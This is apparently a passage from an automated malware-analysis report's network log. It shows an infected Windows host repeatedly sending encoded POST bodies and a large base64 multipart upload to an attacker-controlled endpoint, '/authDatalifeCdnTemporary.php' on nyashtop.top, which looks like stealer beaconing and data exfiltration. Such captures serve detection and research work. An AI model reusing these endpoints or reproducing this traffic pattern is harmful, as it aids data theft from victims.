                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:12:29.850123882 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:29 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:12:30.047265053 CET183INHTTP/1.1 100 Continue
                                                                  Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 31 32 3a 31 32 3a 32 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 0d 0a 3e 5d 58 5a
                                                                  Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Mon, 13 Jan 2025 12:12:29 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4Connection: keep-alive>]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  104192.168.2.45011237.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:30.048749924 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:30.408020973 CET2580OUTData Raw: 5a 5e 5e 56 51 43 51 50 5a 5d 56 56 52 51 50 58 50 5a 55 5c 57 57 5a 58 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z^^VQCQPZ]VVRQPXPZU\WWZXT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ .#6 16_2>:#0:'(U*:$V0>_<:,X$(.'F!.\*
                                                                  Jan 13, 2025 13:12:30.701644897 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:30.875566959 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:30 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  105192.168.2.45011337.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:31.212275982 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:31.564891100 CET2580OUTData Raw: 5a 55 5e 56 54 46 51 50 5a 5d 56 56 52 50 50 5c 50 5c 55 58 57 57 5a 56 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZU^VTFQPZ]VVRPP\P\UXWWZVT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#8)] 1)1C**'R$,**/01:()$1 _(.'F!.\*
                                                                  Jan 13, 2025 13:12:31.868982077 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:32.003506899 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:31 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  106192.168.2.45011437.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:31.330790997 CET284OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 532
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:31.689270020 CET532OUTData Raw: 5a 59 5e 53 54 47 54 5c 5a 5d 56 56 52 58 50 53 50 59 55 5a 57 55 5a 5e 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZY^STGT\Z]VVRXPSPYUZWUZ^T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ ,Z5"2C='(&$><W(:+&!=('31?+.'F!.\*
                                                                  Jan 13, 2025 13:12:31.956406116 CET25INHTTP/1.1 100 Continue


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  107192.168.2.45011537.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:31.900362015 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 1980
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:32.251857996 CET1980OUTData Raw: 5f 5d 5e 56 54 43 54 53 5a 5d 56 56 52 59 50 5b 50 5a 55 5c 57 57 5a 5a 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _]^VTCTSZ]VVRYP[PZU\WWZZT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#^,9""Y%0+>) 360.,(:''^):$Y3!?+'F!.\*%
                                                                  Jan 13, 2025 13:12:32.537641048 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:32.709412098 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:32 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 21 1f 29 25 2e 1f 27 17 37 0d 2e 3c 22 59 3a 3f 28 04 3e 32 3f 03 2a 14 22 04 2c 2e 30 5a 3f 38 34 5c 3f 57 27 0f 33 50 33 08 2a 29 2b 51 07 11 39 5d 32 13 03 04 28 55 22 5b 33 0c 39 1f 35 33 24 5b 3c 29 25 0e 30 3b 20 55 2b 38 0b 13 3e 0d 0f 02 32 2a 39 46 2b 12 3a 1c 3e 2d 2f 5e 08 12 25 1a 2a 22 32 0f 26 09 24 00 21 06 3b 05 3d 2f 03 55 21 01 0c 19 28 29 31 5f 24 10 29 58 24 3e 3e 13 27 22 06 1d 25 1c 39 5a 24 29 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: !)%.'7.<"Y:?(>2?*",.0Z?84\?W'3P3*)+Q9]2(U"[3953$[<)%0; U+8>2*9F+:>-/^%*"2&$!;=/U!()1_$)X$>>'"%9Z$)$P/,Q=ZW
                                                                  Jan 13, 2025 13:12:32.710017920 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:32.898235083 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:32.898458004 CET2580OUTData Raw: 5a 59 5b 54 54 43 54 51 5a 5d 56 56 52 5d 50 59 50 5a 55 59 57 5f 5a 56 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZY[TTCTQZ]VVR]PYPZUYW_ZVT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#\.#*!!"&?>90%($>):#0:X<:'$13+'F!.\*5
                                                                  Jan 13, 2025 13:12:33.466170073 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:33 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  108192.168.2.45011637.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:32.013746977 CET298OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: multipart/form-data; boundary=----WvSY6bsDXvVhKPYfyFAEsPG1V8KENb75uk
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 310006
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:32.361277103 CET12360OUTData Raw: 2d 2d 2d 2d 2d 2d 57 76 53 59 36 62 73 44 58 76 56 68 4b 50 59 66 79 46 41 45 73 50 47 31 56 38 4b 45 4e 62 37 35 75 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22
                                                                  Data Ascii: ------WvSY6bsDXvVhKPYfyFAEsPG1V8KENb75ukContent-Disposition: form-data; name="0"Content-Type: text/plainZY[UTGT]Z]VVR^PSP\UUWTZ^T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^X
                                                                  Jan 13, 2025 13:12:32.367578983 CET2472OUTData Raw: 54 54 52 52 63 6d 35 43 51 6b 73 33 63 32 64 61 4e 48 6c 4e 56 55 78 48 4e 31 68 72 64 48 42 31 61 56 4e 68 53 7a 64 71 63 32 30 7a 63 31 46 51 54 6d 51 35 61 57 64 6a 5a 58 70 49 4e 6b 74 6d 63 46 68 4b 4f 56 52 33 53 47 59 34 56 48 59 72 64 6a
                                                                  Data Ascii: TTRRcm5CQks3c2daNHlNVUxHN1hrdHB1aVNhSzdqc20zc1FQTmQ5aWdjZXpINktmcFhKOVR3SGY4VHYrdjVuL0FDL2dkLzhBOExPLzZnLy9BSk0vL1lWeTNpVFhmK0VoMUdPNyt6L1o5a1FpMmI5K2NFbk9jRDFyS0NSeXZiaTF2Yk82U2E4U3lNa0x1QkhLMzNRd1pGWUE4OGdFY0dvbmVBL2FEYjM5bmRMYlF0TktZaklOb0R
                                                                  Jan 13, 2025 13:12:32.367630959 CET7416OUTData Raw: 4d 46 4e 61 64 46 6b 34 62 6c 52 79 55 31 64 36 59 57 5a 54 4f 58 4e 76 54 57 4a 34 63 33 5a 74 55 31 6c 44 62 45 68 35 55 58 6f 31 65 6e 56 50 4e 30 64 4e 61 57 77 77 64 6c 64 54 4d 32 68 6c 55 46 52 79 54 31 4e 34 64 44 68 4d 59 30 78 6b 55 56
                                                                  Data Ascii: MFNadFk4blRyU1d6YWZTOXNvTWJ4c3ZtU1lDbEh5UXo1enVPN0dNaWwwdldTM2hlUFRyT1N4dDhMY0xkUVhJdWxrbVpwR1paRTJIeW1PMHFBWkFDcFgweFZ3d3hNY21OQ2ZkUlI1VWVjK1duL2ZJcW5sVVhKUG0ySS90dWZLMXlMVzM0RlcydlliUzJ0WVpyNnlnOG5VM3VMaUthemFXV1NFeHhyaUZ4R2ZMYzdXR1E2RWNISXJ
                                                                  Jan 13, 2025 13:12:32.367685080 CET2472OUTData Raw: 59 6b 74 6b 55 6c 6c 48 55 48 70 73 61 6e 64 32 62 48 42 36 61 79 39 6f 65 44 63 78 4e 47 6c 72 4e 7a 4a 61 4f 55 4a 53 65 47 52 53 4d 55 39 54 62 32 78 30 4d 48 56 6b 55 6b 78 68 54 6b 78 77 4d 58 70 77 64 44 56 76 4f 54 46 6a 65 46 42 51 54 6b
                                                                  Data Ascii: YktkUllHUHpsand2bHB6ay9oeDcxNGlrNzJaOUJSeGRSMU9Tb2x0MHVkUkxhTkxwMXpwdDVvOTFjeFBQTklIamVMR0drWmxJM09DQ0F3N1Y1aHErbFhHa1g1dHJpTjQ5dzN4N3l1NG9TUUNkcElCNFBldldQN1IxcnlvbS9zRDUyVWwwKzJKOGgzRVl6am5nQS9qanRYRWZFZjhBNUdLRC9yMFgvd0JEZXZXeW1yS09KVVU5SGU
                                                                  Jan 13, 2025 13:12:32.368215084 CET12360OUTData Raw: 65 56 64 6b 63 44 56 76 4f 48 6c 54 55 57 70 48 5a 48 56 6a 4e 44 56 34 4b 30 70 51 59 58 4d 79 4e 33 52 32 64 46 56 52 56 47 52 30 64 32 4d 31 65 47 31 30 64 6e 63 31 4f 45 39 51 4b 30 56 6e 4d 43 74 54 4e 69 39 30 57 44 64 51 63 32 31 4e 56 7a
                                                                  Data Ascii: eVdkcDVvOHlTUWpHZHVjNDV4K0pQYXMyN3R2dFVRVGR0d2M1eG10dnc1OE9QK0VnMCtTNi90WDdQc21NVzM3UHV6Z0E1enVIclh5dWM0ZW9xM3RyZTdvdm1lNWxMY255MDFlUzEvNEpXOGJTNmZyZHZZK0k3UzZnRnpjb0k3eTA4MGVZanFNYnR1YzQ0eCtSNzFxK0ZMRnRRK0hzc1M2Ri9iSkdxbHZzLzJ2N1B0L2RMOCs3dmp
                                                                  Jan 13, 2025 13:12:32.373230934 CET2472OUTData Raw: 56 33 56 4d 5a 47 39 61 56 54 4e 76 64 33 68 73 56 48 6c 51 63 46 67 31 62 69 39 42 53 7a 4d 30 61 55 64 4e 59 6d 34 76 52 47 4e 73 63 44 46 56 56 6a 42 59 62 53 74 79 55 44 46 50 64 48 64 59 61 46 6c 5a 59 55 35 50 4c 7a 64 34 55 6d 56 32 55 6e
                                                                  Data Ascii: V3VMZG9aVTNvd3hsVHlQcFg1bi9BSzM0aUdNYm4vRGNscDFVVjBYbStyUDFPdHdYaFlZYU5PLzd4UmV2UnlkdGZSZEVaM2hmeUYxTnBwblFHTmZrREVEay93Q1RYZnJLcng5aUNLOHQxTFJKOU9RU056Q3gycXg0T2ZwVzU0UW4zYjRJN3lUY2d5MXZLTWpIOTVEMjl4NzFyeExnWVkrazgyb1ZlYU5rcldlbHZQcHIzWFU2OHZ
                                                                  Jan 13, 2025 13:12:32.373275995 CET2472OUTData Raw: 56 6a 56 68 64 7a 4a 7a 59 30 78 69 51 6b 6c 77 4d 33 6c 6e 59 32 74 6e 4f 55 49 32 5a 47 6f 72 54 6b 39 6e 4f 45 6f 72 53 54 52 34 63 32 5a 54 4e 58 70 30 54 30 45 7a 53 45 6b 76 54 33 46 4f 4f 57 4a 4e 63 47 74 7a 59 6a 5a 4a 63 54 5a 49 62 47
                                                                  Data Ascii: VjVhdzJzY0xiQklwM3lnY2tnOUI2ZGorTk9nOEorSTR4c2ZTNXp0T0EzSEkvT3FOOWJNcGtzYjZJcTZIbGMvTWpmNDErWVVzTlN3MkxqVnJ3NW9wK3Evd0FuM1A2RXhTcFk2aTFocHB5dGZmWDU5VVY1TlRsdWdHbm5lVWdjRjJKeFUvaDI2WWVKYllvZmxBZmY5TnAvcmlzbit5WncyRXVFS2VweURXeHBOdEhweFp0KzZWeGh
                                                                  Jan 13, 2025 13:12:32.373306036 CET2472OUTData Raw: 51 30 52 79 55 69 74 73 54 44 4d 35 65 6c 4e 45 61 6a 59 77 51 55 49 35 53 30 4e 4c 53 30 52 53 57 56 6f 7a 64 47 52 4d 4e 45 56 50 55 45 56 70 4c 33 64 45 57 45 59 76 4e 56 5a 36 56 6c 68 4f 54 6a 46 4c 4e 44 42 74 4e 79 73 78 56 33 42 56 55 32
                                                                  Data Ascii: Q0RyUitsTDM5elNEajYwQUI5S0NLS0RSWVozdGRMNEVPUEVpL3dEWEYvNVZ6VlhOTjFLNDBtNysxV3BVU2hTb0xMbkdhNDhWVGxWb3loSGRuZ1lHdEdqaUlWSjdKa3VqMkdwZUpQRTYrSXJheGpodEk5UWlaMVg1ZWpxVGdkeUJ5VDcxbitMN3A0ZkYrcDdrT3p6amdpdHEyOFY2blppVVczMmVJU3lHVndrSUFMSHFmeHhXUmV
                                                                  Jan 13, 2025 13:12:32.373496056 CET4944OUTData Raw: 62 56 56 43 61 45 78 73 55 55 4a 49 53 56 46 55 64 45 68 50 54 7a 4e 58 63 54 68 47 65 6b 56 4a 56 6e 56 79 4d 6a 6c 6e 61 58 51 77 63 30 70 79 4e 57 31 30 4e 30 31 61 4d 6e 4a 6a 5a 56 5a 6e 57 55 73 33 63 32 73 31 52 32 4e 5a 4e 6d 4e 44 61 54
                                                                  Data Ascii: bVVCaExsUUJISVFUdEhPTzNXcThGekVJVnVyMjlnaXQwc0pyNW10N01aMnJjZVZnWUs3c2s1R2NZNmNDaTdzSHVXZFBNVVc4anBKTEdWQjNNbWRwempQRzV2enFuTnBGMUlUR3Q0RnRUYnRhK1Y1YTQ4cHBQTUs5UDcrRG5yK0ZlUld3K0s5cEtkSjd2VDB0Yjh6NkRENHJBdWxDbldXaVd2cmY4QXlONkJMTHp0Slc4MUdEZmR
                                                                  Jan 13, 2025 13:12:32.373536110 CET2472OUTData Raw: 51 57 64 76 54 6b 5a 47 51 58 68 4c 53 31 55 77 56 55 46 4b 55 6c 4a 53 55 55 46 56 56 56 56 56 51 55 70 53 65 6c 4d 77 56 55 52 46 62 33 42 68 53 30 46 46 54 6b 5a 4d 55 6c 46 42 62 45 5a 47 52 6b 46 43 55 6c 4a 53 55 55 46 56 56 58 52 4b 55 55
                                                                  Data Ascii: QWdvTkZGQXhLS1UwVUFKUlJSUUFVVVVVQUpSelMwVURFb3BhS0FFTkZMUlFBbEZGRkFCUlJSUUFVVXRKUUFVbExSUUFsRkZGQUJSUlJRTUtURkxSUUFsRkZGQUJSUlJRTURTVXRKUUFVVVVVeGhSUzBVQ0VvTkZGQTdpVVV0SlFBVVVVVUFKUlJSUU1TbG9wS1lBYUtXa29HRkZGRkFCU1V0SlFBVVVVVUFKelJTMFVBSlJSUlR
                                                                  Jan 13, 2025 13:12:32.645775080 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:33.767966032 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:33 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  109192.168.2.45011737.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:33.604897022 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:33.955008030 CET2580OUTData Raw: 5a 54 5b 50 54 45 54 57 5a 5d 56 56 52 5b 50 53 50 5c 55 58 57 55 5a 56 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZT[PTETWZ]VVR[PSP\UXWUZVT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ ,U9!!*Y&4* 3;:S3> S>\;3?X'W#(>'F!.\*-
                                                                  Jan 13, 2025 13:12:34.230288029 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:34.447330952 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:34 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:12:34.447351933 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:34 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  110192.168.2.45011837.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:34.571006060 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:34.923485041 CET2580OUTData Raw: 5a 5e 5b 50 54 44 54 50 5a 5d 56 56 52 51 50 5b 50 5f 55 54 57 53 5a 58 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z^[PTDTPZ]VVRQP[P_UTWSZXT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#\;#"!!&]$3(+:06'>/>,$2._(^'1??>'F!.\*
                                                                  Jan 13, 2025 13:12:35.401019096 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:35.401304960 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:35 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:12:35.401336908 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:35 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  111192.168.2.45011937.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:35.543649912 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:35.892241955 CET2580OUTData Raw: 5a 59 5b 56 54 43 51 54 5a 5d 56 56 52 5b 50 53 50 5f 55 59 57 5e 5a 5f 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZY[VTCQTZ]VVR[PSP_UYW^Z_T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#/09"!*2U8>3')0- V*?3*(9#'28('F!.\*-
                                                                  Jan 13, 2025 13:12:36.172797918 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:36.344271898 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:36 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  112192.168.2.45012037.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:36.481218100 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:36.829803944 CET2580OUTData Raw: 5a 54 5e 51 54 44 54 56 5a 5d 56 56 52 5e 50 5b 50 5e 55 5b 57 5f 5a 5e 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
